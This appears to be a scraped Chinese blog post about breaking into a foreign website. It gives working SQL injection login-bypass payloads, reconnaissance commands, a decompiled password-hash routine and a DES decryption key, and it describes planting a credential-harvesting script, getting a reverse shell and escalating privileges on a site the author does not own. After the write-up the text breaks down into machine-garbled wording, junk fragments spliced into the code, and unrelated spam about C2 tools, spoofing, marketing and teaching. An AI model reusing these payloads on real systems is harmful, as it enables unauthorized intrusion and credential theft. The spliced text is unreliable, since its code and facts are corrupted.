一个境外的山寨网站,也是有意思~~~由于挺久没有做浸透了,在浸透的进程中仍是发现了一些比较有意思的东西
一、政策环境 操作系统:Windows Server 2008 R2
服务器容器:IIS 7.5
运用脚本:ASP.NET
数据库:MSSQL
二、注入点网站只要一个登陆口,登陆口存在SQL注入~~~遇到这种状况,我一般都是三种处理 *** :
①、注入获取数据,没有显现位,无法报错,只能盲注,速度是比较慢的。 ②、指令实行,可以直接指令实行获取shell
。 ③、全能暗码,也是注入运用 *** 的一种。 ④、登录句子结构,这种状况是针对第三种状况失效的选用的。登录句子结构全能暗码也是运用的注入点的 *** 进行登录,一般状况下句子如下:
1 SELECT * FROM ADMIN WHERE USER = $pwd AND PWD = $pwd
不过此处不能用全能暗码,服务器应该是先运用用户名获取数据库信息,然后运用比较暗码进行登录~~~这种时分一般就需要结构句子来登录,大致句子如下:
1 username='1' and 1=2 union select '1','admin','password'-- -
关于暗码字段,我就测试了MD5
以及明文,结构出来的句子如下:http://example.com/checklogin?txtPwd=123456&txtName=admin' or 1=1 UNION ALL SELECT NULL,'e10adc3949ba59abbe56e057f20f883e','e10adc3949ba59abbe56e057f20f883e',NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,NULL,NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,NULL,'e10adc3949ba59abbe56e057f20f883e','e10adc3949ba59abbe56e057f20f883e'--
成果仍是过错了,可能是暗码加密 *** 不对吧~~~这个坑,后边来填
指令实行由所以盲注,其时看它实行指令的时分我都快睡着了~~~一般来说,假设我遇到指令实行的状况,就会依照以下几点来做:
①判别站库别离 ②直接写webshell
③直接上马我其时没有判别站库别离,这种小站十个有十个都不会别离。所以,差不多就依照如下进程进行了:
①、分区数目:wmic diskdrive get partitions /value
,只要一个分区, ②、系统盘符:cd
,系统盘符是C:
③、寻觅网站途径:c: & dir /s/b logo.png
,竟然没有!?!? ④、检查是否站库别离:select host_name()
、select @@servername
成果共同,没有站库别离。 ⑤、IIS
默许的网站目录是C:Inetpubwwwroot
,看了一下~~~没有什么东西,应该是管理员从头配置了,网站尽管不大,可是由所以盲注,就没有挨着挨着看了,预备其它思路。 ⑥、bitsadmin
文件下载,提示Unable to add file to job - 0x800704dd
,说不能联网,感觉是当时账号权限过低~~~ ⑦、powershell
文件下载,成功反弹三、代码审计填坑没有做过ASP.NET
的审计,不过这次要点而不是在于审计代码而是在于看缝隙发生的当地,运用的东西为IL Spy
登录部分的代码为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
private void CheckLogin()
{
string name = Utils.GetQurryString("txtName");
string pwd = Utils.GetQurryString("txtPwd");
Admin bll = new Admin();
this.model = bll.GetModelByName(name);
if (this.model != null && this.model.ID > 0)
{
// 不断的检测2号引脚的状况if (!this.IsLock())
{
if (this.model.Pwd == SecurityHelper.DifferentMD5(pwd))
{
int _Exp = 0;
Cookies.AddCookies("Manage", "userid", SecurityHelper.Encrypt(this.model.ID.ToString()), _Exp);
Cookies.AddCookies("Manage", "username", SecurityHelper.Encrypt(this.model.Name.ToString()), _Exp);
Cookies.AddCookies("Manage", "lastlogintime", SecurityHelper.Encrypt(this.model.LastLoginTime.ToString()),_Exp);
this.model.LoginCount++;
this.model.LastLoginTime = DateTime.Now;
this.model.ErrorCount = 0;
this.model.LastLoginIP = Utils.GetClientIP();
int res = bll.Update(this.model);
if (res > 0)
{
AjaxMsgHelper.AjaxMsg("0", "OK", "登录成功", "/home/index");
 0:000> k; new ZY_Log().AddLog(0, "管理员账号:" + name + "登录成功!");
}
else
{
AjaxMsgHelper.AjaxMsg("2", "Error", "系统繁忙");
}
base.Response.End();
}
else
{
this.ErrPwdDo();
AjaxMsgHelper.AjaxMsg("2", "Error", "暗码过错" + this.ErrrorNum + "次:接连过错5次,帐号将被锁住");
base.Response.End();
}
}
else
{
AjaxMsgHelper.AjaxMsg("2", "Error", "由于您接连5次输入暗码过错,为维护你的帐号安全,请30分钟后再登录");
base.Response.End();
}
}
else
{
AjaxMsgHelper.AjaxMsg("1", "Error", "用户名不存在!");
base.Response.End();
}
}
代码公然是依据用户名获取数据,然后比较密文~~~看看DifferentMD5()
函数,好吧,公然不是正派的加密 *** 。
1
2
3
4
5
6
public static string DifferentMD5(string str)
{
string Md5Str = FormsAuthentication.HashPasswordForStoringInConfigFile(str, "MD5").ToLower();
string SHA1Str = SecurityHelper.SHA1(str);
return Md5Str.Substring(2, 8) + "y" + SHA1Str.Substring(4, 6).ToLower() + Md5Str.Substring(13, 11);
}
所以,之一次结构出来的句子是:http://example.com/checklogin?txtPwd=666666&txtName=admin' UNION SELECT 5,'1','79eaf3c8y678a0b04de153469d',NULL,'1',NULL,'1',NULL,NULL,NULL,'1',NULL,NULL,'1','1'--
提示系统过错0001,当我把暗码修改为过错的暗码,提示暗码过错。也便是暗码对了,是在后边操作呈现了其它系统过错,后来证实是字段类型不对应导致的~~~看了看模型部分的代码,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@ID", SqlDbType.Int, 4),
new SqlParameter("@Name", SqlDbType.NVarChar, 100),
new SqlParameter("@Pwd", SqlDbType.NVarChar, 500),
new SqlParameter("@LastLoginTime", SqlDbType.DateTime, 8),
new SqlParameter("@LastLoginIP", SqlDbType.NVarChar, 100),
new SqlParameter("@LoginCount", SqlDbType.Int, 4),
概况请参阅:https://support.dnspod.cn/Kb/showarticle/tsid/240
new SqlParameter("@RegIP", SqlDbType.NVarChar, 100),new SqlParameter("@AddTime", SqlDbType.DateTime, 8),
new SqlParameter("@UpdateTime", SqlDbType.DateTime, 8),
new SqlParameter("@Effect", SqlDbType.Int, 4),
new SqlParameter("@Memo", SqlDbType.NVarChar, 1000),
new SqlParameter("@ErrorCount", SqlDbType.Int, 4),
new SqlParameter("@LastErrTime", SqlDbType.DateTime, 8),
new SqlParameter("@RealName", SqlDbType.NVarChar, 100),
new SqlParameter("@Phone", SqlDbType.NVarChar, 100)
};
所以从头结构出来的句子是http://example.com/checklogin?txtPwd=666666&txtName=admin' UNION SELECT 1,'testuser','79eaf3c8y678a0b04de153469d','01 21 2016 12:00AM','ip',1,'ip','01 21 2016 12:00AM','01 21 2016 12:00AM',1,'memo',1,'01 21 2016 12:00AM','real_name','110'--
,提示:登录成功,其实在上面一步的时分尽管提示系统过错0001,可是cookie
现已设置了,拜访后台是成功的。
尽管有权限了,可是后台用户的暗码仍是不能解密,由于我没有拿到管理员的账号,这个时分想到网站后台暗码和服务器的暗码是相同的啊,默默地修改了后台页面,写了一个 ***
插了进去,等候管理员上钩,代码很简答,就不放代码了。过了一天,看了看,公然在自己的服务器找到了用户名暗码,不过没什么用。
初略看了看系统的补丁状况,基本上打得差不多了,最终仍是找到一个没打补丁的缝隙提权成功,详细进程不再复述。hash
读出来了,可是无法登陆
半途在检查服务器文件的时分发现一些可疑的文件,放到virustotal
剖析了一下,公然是被人挂马了。并且成为了旷工~~~这儿不再做剖析了,恶意程序的剖析并不拿手。
拿到权限之后,发现web.config中数据库衔接字符串是加密了的。这儿很大部分原因是由于自己没有开发过asp.net。我查阅了一下材料,字符串加密一般有两种 *** ~一种是运用自带的东西aspnet_regiis.exe,一种便是在asp.net程序衔接数据库之前去解密。这儿归于第二种
数据库衔接一般在数据拜访层(DAL Data Access Layer)层,并且asp.net中凡是规划到数据库操作,一般都会涉及到SqlHelper类,果不其然,在这个类中发现了解密的代码。
1
2
3
4
5
6
7
8
9
10
11
public class SqlHelper
{
public static int CommandTimeout = 30;
public static string ConnectionString =SecurityHelper.Decrypt(ConfigurationManager.ConnectionStrings["DBconn"].ConnectionString);
public static SqlConnection GetSqlConnection()
{
return new SqlConnection(SqlHelper.ConnectionString);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static string Decrypt(string pDecrypt)
{
string result;
try
{
string key = "abcdefgH";
DESCryptoServiceProvider oDESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] inputByteArray = new byte[pDecrypt.Length / 2];
for (intls ~/Library/Calendars x = 0; x < pDecrypt.Length / 2; x++)
{
int i = Convert.ToInt32(pDecrypt.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
oDESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(key);
oDESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(key);
MemoryStream oMemoryStream = new MemoryStream();
CryptoStream oCryptoStream = new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateDecryptor(),CryptoStreamMode.Write);
oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length);
了解了底子常识后,让我们看看在进程内存空间中实行shellcode需求什么。为了实行你的shellcode,你需求结束以下三个检查:oCryptoStream.FlushFinalBlock();
result = Encoding.Default.GetString(oMemoryStream.ToArray());
}
catch (Exception ex_B5)
{
result = "";
}
return result;
}
From:http://ecma.io/745.html
黑客帝国4:记一次境外站浸透进程
至此,我们已成功设备了工作Ares所需的全部条件。接下来我们
就可以来检验获取与政策机器的CNC会话了。想要抵达这个目的,我们还需求一个agent。我们运用cd指令遍历agent目录。然后通过ls指令列出文件,找到其间的一个配备文件。我们需求批改该文件以获取会话。红线:设备与恶意远程服务器之间的通讯流量; 假定客户端的 *** 正在运用合法的WPAD PAC文件,并且我们的欺诈 *** 无法正常作业。还有另一种技术,是运用IPv6和DNS将凭证中继到政策。默许状况下,IPv6现已启用,并且优先于IPv4,这意味着计算机假设具有IPv6服务器,那么将会被优先运用。此外,默许状况下,Windows主机会通过DHCPv6央求查找IPv6 DNS服务器。假设我们运用假的IPv6 DNS服务器进行欺诈,我们就可以有用控制设备查询DNS的 *** 。更详细的内容,可以阅读这儿。记一次境外站渗透过程
黑客帝国4C:WINDOWSsystem32svchost.exe-k netsvcs -p虚拟机网卡驱动会通过 VMBus 将央求封装成一个数据包传递到环形内存中;service rsyslog restart
cat EOF> /etc/security/limits.conf} return dirty_tag in json.dumps(log)黑客帝国4
gcc gpssim.c -lm -O3 -o gps-sdr-simPTRACE_GETREGS }0xffffffffa013d0e4 39> mov -0x10(%rbp),%rax
假设打开了系统调用过滤功用,KeServiceDescriptorTableFilter将代替KeServiceDescriptorTableShadow,假设没有打开过滤,则将运用KeServiceDescriptorTableShadow。接下来要查询系统调用表的运用,如下图所示:实时可视化程度更高——发现高级侵犯行为、实时观测该侵犯行为对用户构成的影响。
我是一名电脑爱好者,一直对黑客研讨很感兴趣,最近才实在初步学习,许多不明白。此次曝光的NSA大杀器中,有几处当地提及了早年被斯诺登宣布的NSA绝密计划和软件,例如用来控制远程植入程序的“STRAITBIZARRE”,以及侵犯SWIFT系统的“JEEPFLEA”项目,这些条理都周围面映证该批东西从NSA精英黑客团队“方程式组织”处获取的或许性。记一次境外站渗透过程
黑客帝国4
EventFiltering> tar zxvf 0.9.4.tar.gz设备结束后,在/etc/suricata/suricata.yaml 配备下:20. 当你需求安全通讯时,请运用信号安全消息 App。
本文首要谈论前三种数据存储类型,完成了加密解密SDK,并完成对APP的安全存储注入。首要我们来简略谈论下Android中数据存储的方位——考虑数据安全,有必要更改android运用的存储方位吗?
}Iframe中的“res://”变种(此缝隙未批改)$ ./path/to/certbot-auto --apache certonly黑客帝国4配备缺陷:如默许服务未关闭、无用服务打开等;1.1常用类1. 读取UserForm2.Image1.ControlTipText中的字符串并替换指定的字符
记一次境外站渗透过程当你用root登录,你就对面前的金属小盒子具有了完全控制权。这是极点危险的,由于只需你的凭证被盗,侵犯者可以对你的系统为所欲为。
3:高级IP扫描程序(Advanced IP Scanner)http://www.advanced-ip-scanner.com/
RatticDB 是一个开源的依据 Django 的暗码处理服务。
翻开WSockExpert软件,也可以选择其它抓包软件,选择需求监听的程序(翻开文件夹那个图标按钮),在本例中选择“我国菜刀”,如图2所示,设置完成后WSockExpert初步对我国菜刀进行监听并获取其通讯进程的包等数据。刚开始上班就有很多人问我,竞价推广方案怎么做? 无非就是围绕着“没做过、没思路、不全面、做了但是老板不满意” 一份符合公司发展需求,符合现下推广资源并且可落地的竞价推广方案,关系着整个公司目前或是...
小學四年級數學教學事情總結讀書啊,我信赖但有朗朗書聲出破廬,遲早有一日有萬鯉躍龍門之奇象。小學四年級數學註重培養學生思維能力息争決問題的能力,新課程對小學數學教學提出瞭新的要求,也為小學數學教學改造指...
本陈述旨在经过公共互联网的安全观测,针对健康医疗职业的互联网露出面问题进行技能研讨与剖析,以要挟信息同享与安全情报发掘为根底,经过各单位的协同联动,促进健康医疗职业的网络安全防护系统建造,支撑保证互联...
上海市与深圳市商务接待守候模特进行嘻哈侠一次中国改革开放“【金雪倩】 今日给大伙儿共享的內容是“上海市与深圳市商务接待守候模特进行嘻哈侠一次中国改革开放“【金雪倩】”,我是金雪倩,来源于莱芜市,202...
用竹子做沙发、用砖头砌面包窖、用原块木头造洗漱台……这些是李子柒视频中的内容,也是李子柒掌握的生活技能。 翻看李子柒视频的评论区,总能看见网友们赞叹于她掌握的多种技能,却鲜有人了解,这些技能背后...
黑客是怎么赚钱的?一年能赚多少? 1、他们可以通过使用现成的黑客工具包,利用勒索软件、木马、广告盗取器向受害者收取大量金钱。2、一个黑客完全可以挣这么多,因为黑客很多都是有正当职业的。但是他差不多要成...